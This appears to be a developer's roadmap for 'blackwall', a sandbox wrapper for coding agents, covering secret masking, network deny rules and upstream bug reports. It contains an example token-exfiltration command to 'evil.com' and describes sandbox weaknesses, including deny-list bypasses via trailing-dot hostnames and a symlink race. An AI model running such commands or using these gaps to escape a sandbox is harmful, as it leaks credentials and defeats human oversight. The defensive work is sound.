- Per-command env files:
~/.blackwall/<command>.env(e.g.claude.env,codex.env) goes only to that command, so tokens likeCLAUDE_CODE_OAUTH_TOKENstay away from every other sandboxed command without app-specific code inblackwall.js - Mask
GH_TOKENwith srt'scredentials, its secret-masking feature:credentials.envVarswith modemaskgives the sandboxed command a sentinel in place of the real value, and srt's proxy swaps the real secret in on the way out, only towardinjectHosts. A leak throughcurl evil.com -H "$GH_TOKEN"under"*"then carries the sentinel. It limits exfiltration, not misuse: GitHub still gets the real token, so a run can still push with it. Same for files, e.g.~/.npmrc, with anextractregex for the secret part;awsPairsandsigv4cover AWS keys, which the proxy must re-sign. Not ansrtpass-through, a feature: (1) over HTTPS the proxy sees only CONNECT, so swapping anAuthorizationheader needsnetwork.tlsTerminate, experimental, a MITM CA inside the sandbox with a trust bundle through env vars, and Go tools likeghthen verify that CA through trustd, which is whatenableWeakerNetworkIsolationis for;allowPlaintextInjectstays off, since plain HTTP is unverified. (2) Secrets come from~/.blackwall/.envand presets set env, so thegithubpreset should own the mask, withinjectHosts: ["api.github.com", "github.com"], and--print-envshould show the sentinel. (3)injectHostsdefaults to srt'sallowedDomains, which under"*"is the preset hosts only because blackwall strips"*"; pin it, don't rely on that. Ships with an e2e check that the sentinel, not the token, reaches a non-GitHub host CLAUDE_CODE_SUBPROCESS_ENV_SCRUB=1strips credentials from Claude's Bash tool, hooks, and MCP children, but since v2.1.251 it also stripsCLAUDE_CONFIG_DIR(nestedclaudecalls lose the profile), yetGH_TOKENstill reaches Bash children
- Deny the on-link prefixes of this machine's own interfaces (
os.networkInterfaces()cidr), so the LAN is covered whatever its numbering:private-networkrefuses RFC 1918, CGNAT, and ULA only, so a LAN host with a global IPv6 address or on a public-numbered LAN stays reachable - CIDR ranges in
network.allowedHosts: the callback allows an IP literal inside the range. NeedsstrictAllowlistoff whenever a CIDR is present, and a README note that it matches literal requests only, never a name resolving into the range - Upstream to srt:
canonicalizeHoststrips one trailing dot only, soevil.com..becomesevil.com.and misses adeniedDomainsentry forevil.comwhile resolvers dial it asevil.com; and.becomes"", whichnet.connectdials as localhost and the resolved-address guard allows, over CONNECT, plain HTTP, and SOCKS5 alike, whenever an ask callback allows unknown hosts.requireAsciiHostwould catch both but is on only in proxy-only mode and covers HTTP only. Blackwall's callback refuses both spellings (ac004ee) and passesdeniedDomains: [], so only srt's own deny path, which Claude Code's sandbox uses, is affected. Still in 0.0.81 and on main - Upstream to srt: set
NODE_USE_ENV_PROXY=1next toGRPC_PROXYinsandbox-utils.js, since Node'sfetchignoresHTTPS_PROXYwithout it; srt PR #738 added it for Windows only. The node preset sets it meanwhile (42110fd)
- Git worktree detection (agent-safehouse): when
git rev-parse --git-common-diris outside cwd and--add-dirs, grant it read/write and keep itshooks/andconfigindenyWrite. If it passes srtgit.safeDirectories, srt numbers itssafe.directoryentries from the launcher'sGIT_CONFIG_COUNT, not the child env's, so they overwrite the git preset'scommit.gpgsign=false - Signed commits from sandboxed runs: gpg can't reach
~/.gnupg, so commits are unsigned. Until then:git rebase --exec 'git commit --amend --no-edit -S' <base> - Upstream the proxy-login fix to srt:
credential.http://localhost:<port>.helper=next tohttp.proxyAuthMethod=basicinGIT_CONFIG_PARAMETERS(sandbox-utils.js), so other srt users stop persisting the proxy token, andGIT_HTTP_PROXY_AUTHMETHOD=basicas an env var beside it, since pre-commit'sno_git_env()dropsGIT_CONFIG_PARAMETERSand cloning hook repos then fails withProxy CONNECT aborted. Blackwall's git preset handles the first locally through itsshellline and the pre-commit preset the second
- Should blackwall allow setting srt config in
config.json? Todaysrttakes only the two keys indefault-config.json, and both configs can set them. Exposing a key means listing it with its default indefault-config.json, so it shows in--print-config; its tier decides which config may set it- Both configs, can't widen the sandbox:
ignoreViolations(suppresses violation reports, not enforcement) - User config only, which needs a user-only tier the schema lacks:
network.allowUnixSockets(/var/run/docker.sockis host access, per srt's README);network.allowMachLookup(presets can already set it; a config key would add XPC services for 1Password CLI, Playwright, the iOS Simulator; same class as the trustd hole);network.allowLocalBinding(dev servers that bind a port inside the sandbox);javaAgentJarPath(a binary srt executes, so from a repo the sandbox would be the repo's own code) - Never:
allowAppleEvents(srt's README: removes code-execution isolation, user-level only);network.allowAllUnixSockets(disables socket blocking);network.httpProxyPort,network.socksProxyPort(srt stops filtering, the external proxy must);network.mitmProxy,network.tlsTerminate,network.filterRequest(interception, andfilterRequestis a function);network.parentProxy(already set throughHTTP_PROXY, see Known Limitations in the README); srt's ownnetworkandfilesystemlists, which blackwall builds;windows git.safeDirectoriescollides with the git preset'sGIT_CONFIG_COUNT, see the worktree item.credentialsis a feature of its own, see theGH_TOKENmasking item under Secrets
- Both configs, can't widen the sandbox:
- Upstream to srt:
getDangerousDirectories()always denies writes to.vscode,.idea,.claude/commands, and.claude/agentsbut not.claude/settings.json(hooks, env,apiKeyHelper) or.codex/hooks.json, which a program executes with no model in between just the same. Ask for the settings and hook files only, since skills stay writable on purpose (see AGENTS.md). Blackwall's presets deny them meanwhile - Upstream to srt, macOS: an
allowReadcarve-out inside adenyReadfolder stays denied (denyRead: ["secrets"],allowRead: ["secrets/public"], thensecrets/public/keyfails), though srt's README saysallowReadwins. Seen on 0.0.79; recheck on 0.0.81 before filing - Package-manager safety settings don't apply inside the sandbox:
min-release-ageandignore-scriptsset in~/.npmrcread as unset there, since the file is unreadable. Same for~/.bunfig.tomland~/.config/pip/pip.conf; only~/.config/uv/uv.tomlis readable. Passing the values in through~/.blackwall/.envwould conflict with--no-config, which skips that file
--presets clipboard,screenshots: adds presets for one run, like--add-dirand--allow-internet, so a one-session need like pasting a screenshot doesn't needconfig.json. Additive only; dropping a preset staysoverrideDefaults. Comma list, not space-separated:blackwall --presets clipboard node script.jswould swallownode, a preset name and a command. Ships with the usage line,--print-configshowing it, zsh completion with the preset names, a Usage row in the README and SKILL.md, and an e2e check- Keep the machine awake while a sandboxed command runs: the launcher, not the sandbox, holds the assertion, since inside Seatbelt
caffeinateneeds a power-management mach lookup that srt likely denies (unverified). macOS: spawncaffeinate -i -w <child pid>next to the child, so it ends with the child and survives the launcher only as long as the pid does. Opt-in (--keep-awakeor a config key, user config only), since idle sleep is the user's power policy and an agent should not change it from a repo - Upstream to Claude Code: with
CLAUDE_CODE_PLUGIN_SEED_DIR, a missing user-scopeinstalled_plugins.jsonrecord is written with the marketplace HEAD version and aninstallPathnothing creates, and record sync only adds entries, so the version freezes and the loader falls back or hitsplugin-cache-misssilently; managed-scope records heal. Blackwall merges the host record on each launch meanwhile (29b2570), relying on undocumented loader behavior
- A sandboxed node program aborts at startup with a native stack trace (
node::InitializeOncePerProcessInternal) and no error message when its stdout or stderr is a file outside the grants:blackwall codex --version > ../out.txtwith npm'scodexon Node 24.20.0 on macOS. A pipe or a file under the current folder works. Likely Node's startup check on fds 0-2 failing on a file the sandbox can't read, unverified. The fix is cheap, the symptom isn't: nothing points at blackwall, so an agent would chase a Node bug. At least a "Reading a denial" row in the skill, with an e2e check - Each launch checks a profile folder and
~/.cache-blackwallfor a symlink, then uses it, so on macOS a sandboxed session still running can swap the folder for a link while a second launch copies files in, and that launch'srmSyncandcpSyncfollow it: the shared files in~/.claudeor~/.codexget deleted, though reads of them are not regained, since the read-grant walk refuses a link the sandbox can write. Closing it needs either srt emitting Seatbelt's(deny file-write-unlink (literal X))for eachallowWriteroot, which no srt config key does today, or Node*atAPIs (openat,unlinkat,fdopendir) to work from a held folder handle. Shelling out tormdoesn't help, since it resolves the swapped root before walking it - srt issues #606 and #756 (PRs #377, #612, #781 open): its proxy truncates
Connection: closeresponses, which Claude Code's WebFetch reports as<error>aborted</error>for part of a parallel batch whilecurl -sILon the same URLs returns 200.http-proxy.jscloses a tunnel withupstream.on('close', () => socket.destroy()), so when the origin FINs right after the body, the client socket is destroyed before the bytes still queued toward the mux's unix socket (8 KBnet.local.stream.sendspaceon macOS) flush: the client sees 200 and a short body, and Bun'snode:httpraisesaborted. Decided per connection by size and timing, not per host: pages under about 30 KB pass, bigger ones lose their tail. Reproduced outside Seatbelt with srt 0.0.81's mux plus http-proxy: 6-7 of 12 fetches fail, 0 of 12 oncedestroy()is skipped whilesocket.writableLength > 0, asmux-proxy.jsalready does withcloseAfterFlush. Keep-alive never fails, andcurl -sILhides it (HEAD, keep-alive). It also breaks the built-in Anthropic Directory marketplace in Claude Code's/plugin(Anthropic Directory is unavailable: it could not be reached, debug logplugin directory search failed (http): aborted): its catalog pages fromapi.anthropic.com/api/directory/pluginsrun to about 240 KB, and the Directory loads oncehttp-proxy.jsskipsdestroy()whilesocket.writableLength > 0. No preset can fix it; add the repro to #606 rather than a new issue, and until the fix lands fetch in small batches or usegh api/curlfrom Bash